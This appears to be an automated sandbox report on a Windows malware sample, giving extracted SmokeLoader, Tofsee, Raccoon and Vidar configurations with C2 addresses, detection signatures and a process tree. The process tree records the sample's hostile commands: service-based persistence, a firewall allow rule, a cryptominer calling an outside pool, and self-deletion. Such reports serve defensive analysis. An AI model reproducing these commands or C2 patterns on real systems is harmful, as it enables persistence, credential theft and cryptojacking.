Analysis

  • max time kernel
    156s
  • max time network
    160s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    11/01/2022, 22:08

General

  • Target
    7e189578056cd9a7e3e24c5de9218e9d.exe
  • Size 273KB
  • Sample220111-1192pshhcm
  • SHA256 32fb69d349b6093fddc2e82cdb63d7136ee91f2d5ddc13519a63377bacac62d1
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Extracted

Family
  • raccoon

Version
  • 1.8.4-hotfixs

rc4.plain

Extracted

Family
  • vidar

Version
  • 49.6

Botnet
  • 565

C2
  • https://noc.social/@banda5ker

  • https://mastodon.social/@banda6ker

Attributes
  • profile_id

    565

Extracted

Family
  • vidar

Version
  • 49.6

Botnet
  • 1125

C2
  • https://noc.social/@banda5ker

  • https://mastodon.social/@banda6ker

Attributes
  • profile_id

    1125

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

    suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • Vidar Stealer 5 IoCs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7e189578056cd9a7e3e24c5de9218e9d.exe
    "C:\Users\Admin\AppData\Local\Temp\7e189578056cd9a7e3e24c5de9218e9d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2700
    • C:\Users\Admin\AppData\Local\Temp\7e189578056cd9a7e3e24c5de9218e9d.exe
      "C:\Users\Admin\AppData\Local\Temp\7e189578056cd9a7e3e24c5de9218e9d.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2608
  • C:\Users\Admin\AppData\Local\Temp\3DE0.exe
    C:\Users\Admin\AppData\Local\Temp\3DE0.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:1528
  • C:\Users\Admin\AppData\Local\Temp\4860.exe
    C:\Users\Admin\AppData\Local\Temp\4860.exe
    1⤵
    • Executes dropped EXE
    PID:3484
  • C:\Users\Admin\AppData\Local\Temp\4C59.exe
    C:\Users\Admin\AppData\Local\Temp\4C59.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:504
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\llxnkwob\
      2⤵
        PID:4004
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rtbaqqkh.exe" C:\Windows\SysWOW64\llxnkwob\
        2⤵
          PID:1068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create llxnkwob binPath= "C:\Windows\SysWOW64\llxnkwob\rtbaqqkh.exe /d\"C:\Users\Admin\AppData\Local\Temp\4C59.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1304
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description llxnkwob "wifi internet conection"
            2⤵
              PID:2024
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start llxnkwob
              2⤵
                PID:3956
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2184
              • C:\Users\Admin\AppData\Local\Temp\5042.exe
                C:\Users\Admin\AppData\Local\Temp\5042.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2776
                • C:\Users\Admin\AppData\Local\Temp\5042.exe
                  C:\Users\Admin\AppData\Local\Temp\5042.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2328
              • C:\Windows\SysWOW64\llxnkwob\rtbaqqkh.exe
                C:\Windows\SysWOW64\llxnkwob\rtbaqqkh.exe /d"C:\Users\Admin\AppData\Local\Temp\4C59.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2080
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1884
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                      PID:488
                • C:\Users\Admin\AppData\Local\Temp\AC9B.exe
                  C:\Users\Admin\AppData\Local\Temp\AC9B.exe
                  1⤵
                  • Executes dropped EXE
                  PID:2748
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 2748 -s 888
                    2⤵
                    • Suspicious use of NtCreateProcessExOtherParentProcess
                    • Program crash
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3640
                • C:\Users\Admin\AppData\Local\Temp\B874.exe
                  C:\Users\Admin\AppData\Local\Temp\B874.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks processor information in registry
                  PID:1816
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c taskkill /im B874.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\B874.exe" & del C:\ProgramData\*.dll & exit
                    2⤵
                      PID:4048
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /im B874.exe /f
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1996
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 6
                        3⤵
                        • Delays execution with timeout.exe
                        PID:1484
                  • C:\Users\Admin\AppData\Local\Temp\BE70.exe
                    C:\Users\Admin\AppData\Local\Temp\BE70.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of WriteProcessMemory
                    PID:3916
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                      2⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1184
                  • C:\Users\Admin\AppData\Local\Temp\C45D.exe
                    C:\Users\Admin\AppData\Local\Temp\C45D.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3188
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                    • Accesses Microsoft Outlook profiles
                    • outlook_office_path
                    • outlook_win_path
                    PID:1612
                  • C:\Users\Admin\AppData\Local\Temp\CCE9.exe
                    C:\Users\Admin\AppData\Local\Temp\CCE9.exe
                    1⤵
                    • Executes dropped EXE
                    PID:3904
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3904 -s 404
                      2⤵
                      • Program crash
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2180
                  • C:\Windows\explorer.exe
                    C:\Windows\explorer.exe
                    1⤵
                      PID:2988
                    • C:\Users\Admin\AppData\Local\Temp\D47C.exe
                      C:\Users\Admin\AppData\Local\Temp\D47C.exe
                      1⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Checks processor information in registry
                      PID:2456
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c taskkill /im D47C.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\D47C.exe" & del C:\ProgramData\*.dll & exit
                        2⤵
                          PID:1152
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /im D47C.exe /f
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1168
                          • C:\Windows\SysWOW64\timeout.exe
                            timeout /t 6
                            3⤵
                            • Delays execution with timeout.exe
                            PID:1996
                      • C:\Users\Admin\AppData\Local\Temp\DEBE.exe
                        C:\Users\Admin\AppData\Local\Temp\DEBE.exe
                        1⤵
                        • Executes dropped EXE
                        PID:1464
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1464 -s 400
                          2⤵
                          • Program crash
                          • Suspicious use of AdjustPrivilegeToken
                          PID:592
                      • C:\Users\Admin\AppData\Roaming\vvuvsdb
                        C:\Users\Admin\AppData\Roaming\vvuvsdb
                        1⤵
                        • Executes dropped EXE
                        • Checks SCSI registry key(s)
                        • Suspicious behavior: MapViewOfSection
                        PID:2300

                      Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            memory/504-150-0x0000000000400000-0x0000000000451000-memory.dmp

                            memory/504-149-0x00000000004E0000-0x000000000062A000-memory.dmp

                            memory/504-148-0x00000000004B0000-0x00000000004BD000-memory.dmp

                            memory/1184-208-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1184-222-0x0000000000600000-0x0000000000601000-memory.dmp

                            memory/1184-217-0x0000000008E90000-0x0000000008EDB000-memory.dmp

                            memory/1184-216-0x0000000008E10000-0x0000000009416000-memory.dmp

                            memory/1184-215-0x0000000008E50000-0x0000000008E8E000-memory.dmp

                            memory/1184-212-0x0000000008F20000-0x000000000902A000-memory.dmp

                            memory/1184-210-0x00000000051D0000-0x00000000051E2000-memory.dmp

                            memory/1184-209-0x0000000009420000-0x0000000009A26000-memory.dmp

                            memory/1184-206-0x0000000000600000-0x0000000000601000-memory.dmp

                            memory/1184-207-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1184-205-0x0000000000600000-0x0000000000601000-memory.dmp

                            memory/1184-204-0x0000000000600000-0x0000000000601000-memory.dmp

                            memory/1184-198-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1528-126-0x0000000000460000-0x000000000050E000-memory.dmp

                            memory/1528-127-0x0000000000460000-0x000000000050E000-memory.dmp

                            memory/1528-128-0x0000000000400000-0x0000000000452000-memory.dmp

                            memory/1612-248-0x0000000001200000-0x000000000126B000-memory.dmp

                            memory/1612-247-0x0000000001270000-0x00000000012E4000-memory.dmp

                            memory/1816-211-0x00000000021B0000-0x000000000222C000-memory.dmp

                            memory/1816-213-0x0000000002230000-0x0000000002306000-memory.dmp

                            memory/1816-214-0x0000000000400000-0x00000000004D9000-memory.dmp

                            memory/1884-172-0x00000000028C0000-0x00000000028D5000-memory.dmp

                            memory/1884-175-0x00000000025D0000-0x00000000025D1000-memory.dmp

                            memory/1884-174-0x00000000025D0000-0x00000000025D1000-memory.dmp

                            memory/2080-178-0x0000000000400000-0x0000000000451000-memory.dmp

                            memory/2080-176-0x0000000000460000-0x00000000005AA000-memory.dmp

                            memory/2080-177-0x0000000000460000-0x00000000005AA000-memory.dmp

                            memory/2328-160-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/2328-169-0x0000000004C80000-0x0000000005286000-memory.dmp

                            memory/2328-182-0x0000000006230000-0x000000000672E000-memory.dmp

                            memory/2328-183-0x0000000005F50000-0x0000000005F6E000-memory.dmp

                            memory/2328-184-0x0000000006A00000-0x0000000006BC2000-memory.dmp

                            memory/2328-185-0x0000000007100000-0x000000000762C000-memory.dmp

                            memory/2328-166-0x0000000005290000-0x0000000005896000-memory.dmp

                            memory/2328-180-0x0000000005B20000-0x0000000005B96000-memory.dmp

                            memory/2328-168-0x0000000004E60000-0x0000000004F6A000-memory.dmp

                            memory/2328-170-0x0000000004D90000-0x0000000004DCE000-memory.dmp

                            memory/2328-179-0x00000000050E0000-0x0000000005146000-memory.dmp

                            memory/2328-167-0x0000000004D30000-0x0000000004D42000-memory.dmp

                            memory/2328-181-0x0000000005C90000-0x0000000005D22000-memory.dmp

                            memory/2328-171-0x0000000004DE0000-0x0000000004E2B000-memory.dmp

                            memory/2328-164-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/2328-165-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/2456-298-0x000000006D9D0000-0x000000006DB04000-memory.dmp

                            memory/2456-262-0x0000000073CE0000-0x0000000073EA2000-memory.dmp

                            memory/2456-261-0x0000000000400000-0x00000000005A8000-memory.dmp

                            memory/2456-260-0x00000000001E0000-0x00000000001E2000-memory.dmp

                            memory/2456-259-0x0000000000400000-0x00000000005A8000-memory.dmp

                            memory/2456-257-0x0000000000400000-0x00000000005A8000-memory.dmp

                            memory/2456-258-0x0000000000400000-0x00000000005A8000-memory.dmp

                            memory/2456-297-0x000000006E660000-0x000000006E684000-memory.dmp

                            memory/2456-267-0x0000000076930000-0x0000000076A21000-memory.dmp

                            memory/2608-120-0x0000000000400000-0x0000000000409000-memory.dmp

                            memory/2700-119-0x0000000000450000-0x00000000004FE000-memory.dmp

                            memory/2700-118-0x0000000000450000-0x00000000004FE000-memory.dmp

                            memory/2748-189-0x0000000004810000-0x000000000485F000-memory.dmp

                            memory/2748-191-0x0000000000400000-0x0000000002BC5000-memory.dmp

                            memory/2748-190-0x0000000004860000-0x00000000048F1000-memory.dmp

                            memory/2776-143-0x0000000004C80000-0x0000000004CF6000-memory.dmp

                            memory/2776-140-0x00000000003F0000-0x000000000047A000-memory.dmp

                            memory/2776-142-0x00000000003F0000-0x000000000047A000-memory.dmp

                            memory/2776-144-0x0000000004C40000-0x0000000004C5E000-memory.dmp

                            memory/2776-146-0x0000000004D60000-0x0000000004D61000-memory.dmp

                            memory/2776-147-0x0000000000D20000-0x0000000000D21000-memory.dmp

                            memory/2776-151-0x0000000005500000-0x00000000059FE000-memory.dmp

                            memory/3068-154-0x0000000003080000-0x0000000003096000-memory.dmp

                            memory/3068-122-0x0000000001100000-0x0000000001116000-memory.dmp

                            memory/3188-239-0x0000000005AE0000-0x0000000005AE1000-memory.dmp

                            memory/3188-241-0x0000000071570000-0x00000000715BB000-memory.dmp

                            memory/3188-221-0x00000000009D0000-0x0000000000AF6000-memory.dmp

                            memory/3188-224-0x00000000014D0000-0x00000000014D1000-memory.dmp

                            memory/3188-238-0x0000000074D90000-0x00000000760D8000-memory.dmp

                            memory/3188-236-0x0000000005A10000-0x0000000005A4E000-memory.dmp

                            memory/3188-226-0x0000000073CE0000-0x0000000073EA2000-memory.dmp

                            memory/3188-240-0x0000000005A50000-0x0000000005A9B000-memory.dmp

                            memory/3188-228-0x0000000076930000-0x0000000076A21000-memory.dmp

                            memory/3188-230-0x0000000002ED0000-0x0000000002F15000-memory.dmp

                            memory/3188-229-0x00000000009D0000-0x0000000000AF6000-memory.dmp

                            memory/3188-235-0x0000000005AF0000-0x0000000005BFA000-memory.dmp

                            memory/3188-237-0x0000000076A50000-0x0000000076FD4000-memory.dmp

                            memory/3188-234-0x00000000059B0000-0x00000000059C2000-memory.dmp

                            memory/3188-233-0x0000000006100000-0x0000000006706000-memory.dmp

                            memory/3188-231-0x00000000009D0000-0x0000000000AF6000-memory.dmp

                            memory/3188-232-0x00000000719D0000-0x0000000071A50000-memory.dmp

                            memory/3484-138-0x0000000000460000-0x00000000005AA000-memory.dmp

                            memory/3484-139-0x00000000006C0000-0x00000000006DC000-memory.dmp

                            memory/3484-141-0x0000000000400000-0x0000000000455000-memory.dmp

                            memory/3904-246-0x0000000000CB0000-0x0000000000D10000-memory.dmp